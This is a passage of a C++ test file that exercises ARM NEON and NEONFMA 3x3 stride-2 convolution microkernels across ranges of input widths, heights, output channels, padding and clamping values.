.Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, output_channels_lt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 4; output_channels++) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, output_channels_div_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 8; output_channels <= 16; output_channels += 4) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, output_channels_gt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 5; output_channels < 8; output_channels++) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, input_height_lt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_height(1) // padded input height of at least 3 required .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, input_height_gt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, padding_top) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, padding_bottom) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, output_y_start) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, output_y_end) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, qmin) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, qmax) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } } #endif // XNN_ARCH_ARM64 #if XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, input_width_eq_2) { TEST_REQUIRES_ARM_NEON_FMA; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(2) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, input_width_div_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 4; input_width <= 16; input_width += 6) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, input_width_gt_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 3; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, output_channels_lt_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels++) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, output_channels_div_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 16; output_channels <= 32; output_channels += 8) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, output_channels_gt_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 9; output_channels < 16; output_channels++) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, input_height_lt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_height(1) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, input_height_gt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, padding_top) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, padding_bottom) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, output_y_start) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, output_y_end) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, qmin) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P1C3X8__NEONFMA_2X1, qmax) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neonfma_2x1); } } } #endif // XNN_ARCH_ARM64 #if XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, input_width_eq_2) { TEST_REQUIRES_ARM_NEON_FMA; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(2) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, input_width_div_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 4; input_width <= 16; input_width += 6) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, input_width_gt_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 3; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, output_channels_lt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 4; output_channels++) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, output_channels_div_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 8; output_channels <= 16; output_channels += 4) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, output_channels_gt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 5; output_channels < 8; output_channels++) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, input_height_lt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_height(1) // padded input height of at least 3 required .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, input_height_gt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, padding_top) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, padding_bottom) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, output_y_start) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, output_y_end) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, qmin) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X1, qmax) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x1); } } } #endif // XNN_ARCH_ARM64 #if XNN_ARCH_ARM || XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, input_width_eq_2) { TEST_REQUIRES_ARM_NEON; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(2) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, input_width_div_2) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 4; input_width <= 16; input_width += 6) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, input_width_gt_2) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 3; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, output_channels_lt_8) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 8; output_channels++) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, output_channels_div_8) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 16; output_channels <= 32; output_channels += 8) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, output_channels_gt_8) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 9; output_channels < 16; output_channels++) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, input_height_lt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_height(1) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, input_height_gt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, padding_top) { TEST_REQUIRES_ARM_NEON; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, padding_bottom) { TEST_REQUIRES_ARM_NEON; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, output_y_start) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, output_y_end) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, qmin) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X1, qmax) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x1); } } } #endif // XNN_ARCH_ARM || XNN_ARCH_ARM64 #if XNN_ARCH_ARM || XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, input_width_eq_2) { TEST_REQUIRES_ARM_NEON; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(2) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, input_width_div_2) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 4; input_width <= 16; input_width += 6) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, input_width_gt_2) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 3; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x1); } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X1, output_channels_lt_4) { 